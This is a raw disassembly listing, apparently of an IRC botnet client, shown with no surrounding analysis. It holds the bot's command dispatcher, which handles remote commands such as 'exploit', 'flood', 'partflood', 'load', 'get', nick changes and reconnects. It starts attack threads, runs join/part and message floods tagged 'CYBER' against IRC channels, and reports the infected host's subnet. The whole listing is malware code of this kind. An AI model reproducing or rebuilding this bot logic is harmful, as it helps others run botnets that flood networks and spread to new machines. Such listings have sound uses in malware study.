		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_40A26E
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_403FDE


loc_403FC8:				; CODE XREF: sub_401AC7+2515j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_40641F
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_403FC8
; ---------------------------------------------------------------------------


loc_403FDE:				; CODE XREF: sub_401AC7+24FFj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E19C
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	loc_40641F
; ---------------------------------------------------------------------------


loc_403FFE:				; CODE XREF: sub_401AC7+1324j
					; sub_401AC7+1339j
		push	offset aK3ysxc	; "k3ysxc"
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E184
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 20h
		jmp	loc_40641F
; ---------------------------------------------------------------------------


loc_404035:				; CODE XREF: sub_401AC7+12FAj
					; sub_401AC7+130Fj
		push	dword_4C9544
		call	sub_417249
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E158
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 24h
		jmp	loc_40641F
; ---------------------------------------------------------------------------


loc_404073:				; CODE XREF: sub_401AC7+12D0j
					; sub_401AC7+12E5j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4040A5
		cmp	[ebp+var_C], ebx
		jz	short loc_4040B4
		push	esi
		push	[ebp+var_C]
		call	sub_417E10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4040B4
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		add	esp, 0Ch
		jmp	short loc_4040B4
; ---------------------------------------------------------------------------


loc_4040A5:				; CODE XREF: sub_401AC7+25B5j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		pop	ecx
		pop	ecx


loc_4040B4:				; CODE XREF: sub_401AC7+25BAj
					; sub_401AC7+25C9j ...
		push	0FFFFFFFEh
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4040BB:				; CODE XREF: sub_401AC7+12A6j
					; sub_401AC7+12BBj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	offset dword_42E108
		call	sub_413B5E
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E8E
; ---------------------------------------------------------------------------


loc_4040DD:				; CODE XREF: sub_401AC7+127Cj
					; sub_401AC7+1291j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	offset dword_42E0D4
		call	sub_413B5E
		add	esp, 0Ch
		jmp	loc_4089B1
; ---------------------------------------------------------------------------


loc_4040FC:				; CODE XREF: sub_401AC7+1252j
					; sub_401AC7+1267j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A8E4
		jmp	loc_4043A5
; ---------------------------------------------------------------------------


loc_404112:				; CODE XREF: sub_401AC7+1228j
					; sub_401AC7+123Dj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A890
		jmp	loc_4043A5
; ---------------------------------------------------------------------------


loc_404128:				; CODE XREF: sub_401AC7+11FEj
					; sub_401AC7+1213j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A825
		jmp	loc_4043A5
; ---------------------------------------------------------------------------


loc_40413E:				; CODE XREF: sub_401AC7+11D4j
					; sub_401AC7+11E9j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A757
		jmp	loc_4043A5
; ---------------------------------------------------------------------------


loc_404154:				; CODE XREF: sub_401AC7+112Fj
					; sub_401AC7+1144j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42E0C4
		push	offset dword_42E0B4
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_40416C:				; CODE XREF: sub_401AC7+D66j
					; sub_401AC7+D7Bj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40418B
		push	edi
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jz	short loc_40418B
		push	edi
		call	sub_417C89
		pop	ecx
		jmp	short loc_404190
; ---------------------------------------------------------------------------


loc_40418B:				; CODE XREF: sub_401AC7+26AEj
					; sub_401AC7+26B9j
		mov	eax, dword_425074


loc_404190:				; CODE XREF: sub_401AC7+26C2j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_4041B5
		push	esi


loc_4041A2:				; CODE XREF: sub_401AC7+26FDj
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_417E90
		add	esp, 0Ch
		jmp	short loc_4041CC
; ---------------------------------------------------------------------------


loc_4041B5:				; CODE XREF: sub_401AC7+26D8j
		cmp	[ebp+var_8FF], bl
		jz	short loc_4041C6
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4041A2
; ---------------------------------------------------------------------------


loc_4041C6:				; CODE XREF: sub_401AC7+26F4j
		mov	[ebp+var_5A0], bl


loc_4041CC:				; CODE XREF: sub_401AC7+26ECj
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_417E90
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E08C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40A203
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset sub_4102C5
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40427D


loc_404267:				; CODE XREF: sub_401AC7+27B4j
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E8B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_404267
; ---------------------------------------------------------------------------


loc_40427D:				; CODE XREF: sub_401AC7+279Ej
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E050
		jmp	loc_40206E
; ---------------------------------------------------------------------------


loc_40428E:				; CODE XREF: sub_401AC7+CFCj
					; sub_401AC7+D11j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042AE
		push	esi
		call	sub_417C89
		test	ax, ax
		pop	ecx
		jz	short loc_4042AE
		push	esi
		call	sub_417C89
		pop	ecx
		jmp	short loc_4042B4
; ---------------------------------------------------------------------------


loc_4042AE:				; CODE XREF: sub_401AC7+27D0j
					; sub_401AC7+27DCj
		mov	ax, word_425084


loc_4042B4:				; CODE XREF: sub_401AC7+27E5j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_417E90
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E024
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_408C5D
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40A203
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset sub_40D60D
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_404383


loc_40436D:				; CODE XREF: sub_401AC7+28BAj
		cmp	[ebp+var_968], ebx
		jnz	loc_401E8B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40436D
; ---------------------------------------------------------------------------


loc_404383:				; CODE XREF: sub_401AC7+28A4j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DFE4
		jmp	loc_40206E
; ---------------------------------------------------------------------------


loc_404394:				; CODE XREF: sub_401AC7+CD2j
					; sub_401AC7+CE7j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41706C


loc_4043A5:				; CODE XREF: sub_401AC7+2646j
					; sub_401AC7+265Cj ...
		add	esp, 0Ch
		jmp	loc_408A45
; ---------------------------------------------------------------------------


loc_4043AD:				; CODE XREF: sub_401AC7+CA8j
					; sub_401AC7+CBDj
		push	offset unk_42DF34
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_4043B7:				; CODE XREF: sub_401AC7+C7Ej
					; sub_401AC7+C93j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404417
		push	esi
		call	sub_417C89
		cmp	eax, ebx
		pop	ecx
		jl	short loc_40440C
		cmp	eax, 3
		jge	short loc_40440C
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_404401
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42EEF4
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4079A7
; ---------------------------------------------------------------------------


loc_404401:				; CODE XREF: sub_401AC7+2919j
		push	eax
		push	offset unk_42DF08
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_40440C:				; CODE XREF: sub_401AC7+2904j
					; sub_401AC7+2909j
		push	eax
		push	offset unk_42DEDC
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_404417:				; CODE XREF: sub_401AC7+28F9j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40441C:				; CODE XREF: sub_401AC7+2971j
		push	[ebp+var_90]
		push	edi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40443F
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_40441C
		jmp	loc_4079A7
; ---------------------------------------------------------------------------


loc_40443F:				; CODE XREF: sub_401AC7+2965j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42EEF4
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_404459:				; CODE XREF: sub_401AC7+C54j
					; sub_401AC7+C69j
		push	[ebp+var_8C]
		push	offset dword_42EE68
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40313E
		call	sub_40A3CC
		push	ebx
		call	dword_423064	; ExitProcess


loc_40447F:				; CODE XREF: sub_401AC7+16B0j
		push	offset aGet	; "get"
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404525
		cmp	dword_4CCFB0, ebx
		jz	short loc_4044AB
		push	offset dword_4CC990
		push	offset unk_42DEA0
		jmp	loc_404537
; ---------------------------------------------------------------------------


loc_4044AB:				; CODE XREF: sub_401AC7+29D3j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	dword_423214	; getsockname
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_C74]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_C74]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42DEA0
		push	eax
		call	sub_417D96
		add	esp, 20h
		jmp	loc_403196
; ---------------------------------------------------------------------------


loc_404525:				; CODE XREF: sub_401AC7+29C7j
		push	esi
		call	dword_4C983C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40454B
		push	offset unk_42DE60


loc_404537:				; CODE XREF: sub_401AC7+29DFj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	loc_403196
; ---------------------------------------------------------------------------


loc_40454B:				; CODE XREF: sub_401AC7+2A69j
		push	offset dword_4CC990
		call	sub_4183B0
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42DE34
		push	eax
		mov	dword_4CCFB0, 1
		call	sub_417D96
		add	esp, 14h
		jmp	loc_403196
; ---------------------------------------------------------------------------


loc_404579:				; CODE XREF: sub_401AC7+1698j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404673
		mov	eax, [ebp+var_4]
		mov	esi, offset dword_42512C
		mov	[ebp+var_1190],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_118C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_11A0],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1220]
		push	edi
		push	eax
		mov	[ebp+var_1198],	1
		call	sub_417E90
		push	esi
		lea	eax, [ebp+var_12A0]
		push	edi
		push	eax
		call	sub_417E90
		push	[ebp+arg_10]
		lea	eax, [ebp+var_12B0]
		push	10h
		push	eax
		call	sub_417E90
		lea	eax, [ebp+var_12B0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42DDFC
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40A203
		add	esp, 3Ch
		mov	[ebp+var_1194],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_12B0]
		push	ebx
		push	eax
		push	offset sub_40A9AA
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_1194]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_404662


loc_40464C:				; CODE XREF: sub_401AC7+2B99j
		cmp	[ebp+var_1188],	ebx
		jnz	loc_4079A7
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40464C
; ---------------------------------------------------------------------------


loc_404662:				; CODE XREF: sub_401AC7+2B83j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DDBC
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_404673:				; CODE XREF: sub_401AC7+2AC1j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089B8
		push	edi
		push	offset aRin	; "rin"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089B8
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408972
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408972
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_418570
		mov	edi, dword_423078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40522F
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_418570
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404776
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404776
		push	[ebp+esi+var_80]
		call	sub_417C89
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_417C89
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_414B34
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42DD5C
		push	eax
		call	sub_417D96
		add	esp, 20h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404776
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_404776:				; CODE XREF: sub_401AC7+2C3Bj
					; sub_401AC7+2C41j ...
		push	[ebp+arg_10]
		push	offset dword_42DD58
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4047DF
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_4047DF
		push	offset asc_42EF54 ; " "
		push	offset dword_42DD54
		push	eax
		call	sub_414FC3
		push	eax
		lea	eax, [ebp+var_4250]
		push	eax
		call	sub_4183B0
		lea	eax, [ebp+var_4250]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42DD44
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 28h


loc_4047DF:				; CODE XREF: sub_401AC7+2CC0j
					; sub_401AC7+2CCBj
		push	[ebp+arg_10]
		push	offset dword_42DD40
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404848
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404848
		push	offset asc_42EF54 ; " "
		push	offset dword_42DD54
		push	eax
		call	sub_414FC3
		push	eax
		lea	eax, [ebp+var_3B4C]
		push	eax
		call	sub_4183B0
		lea	eax, [ebp+var_3B4C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42DD2C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 28h


loc_404848:				; CODE XREF: sub_401AC7+2D29j
					; sub_401AC7+2D34j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4048B1
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_4048B1
		push	offset asc_42EF54 ; " "
		push	offset dword_42DD54
		push	eax
		call	sub_414FC3
		push	eax
		lea	eax, [ebp+var_3C4C]
		push	eax
		call	sub_4183B0
		lea	eax, [ebp+var_3C4C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 28h


loc_4048B1:				; CODE XREF: sub_401AC7+2D92j
					; sub_401AC7+2D9Dj
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40491A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40491A
		push	offset asc_42EF54 ; " "
		push	offset dword_42DD54
		push	eax
		call	sub_414FC3
		push	eax
		lea	eax, [ebp+var_3F4C]
		push	eax
		call	sub_4183B0
		lea	eax, [ebp+var_3F4C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 28h


loc_40491A:				; CODE XREF: sub_401AC7+2DFBj
					; sub_401AC7+2E06j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404959
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404959
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 10h


loc_404959:				; CODE XREF: sub_401AC7+2E64j
					; sub_401AC7+2E6Fj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404998
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404998
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 10h


loc_404998:				; CODE XREF: sub_401AC7+2EA3j
					; sub_401AC7+2EAEj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4049DC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_4049DC
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h


loc_4049DC:				; CODE XREF: sub_401AC7+2EE2j
					; sub_401AC7+2EEDj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A51
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404A51
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		call	sub_417DF2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_1560]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42DCC4
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_1560]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DCBC
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 24h


loc_404A51:				; CODE XREF: sub_401AC7+2F26j
					; sub_401AC7+2F2Fj
		push	[ebp+arg_10]
		push	offset dword_42DCB0
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404B98
		cmp	[ebp+esi+var_88], ebx
		jz	loc_404B98
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 24h
		call	sub_417DF2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 10h
		call	sub_417DF2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 24h
		call	sub_417DF2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h


loc_404B98:				; CODE XREF: sub_401AC7+2F9Bj
					; sub_401AC7+2FA8j
		push	[ebp+arg_10]
		push	offset dword_42DCAC
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404C32
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404C32
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		call	sub_417DF2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_417DF2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_417DF2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_417DF2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_417DF2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42DC84
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 24h


loc_404C32:				; CODE XREF: sub_401AC7+30E2j
					; sub_401AC7+30EFj
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404D2F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_404D2F
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_414BB2
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DCBC
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 24h
		call	sub_417DF2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_414BB2
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DCBC
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h
		call	sub_417DF2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_414BB2
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DCBC
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h


loc_404D2F:				; CODE XREF: sub_401AC7+317Cj
					; sub_401AC7+318Bj
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D75
		lea	eax, [ebp+var_15B4]
		push	eax
		call	sub_414BB2
		lea	eax, [ebp+var_15B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DCBC
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h


loc_404D75:				; CODE XREF: sub_401AC7+3279j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404E61
		cmp	[ebp+esi+var_88], ebx
		jz	loc_404E61
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42DD44
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 24h
		call	sub_417DF2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42DD44
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_414854
		add	esp, 14h
		call	sub_417DF2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
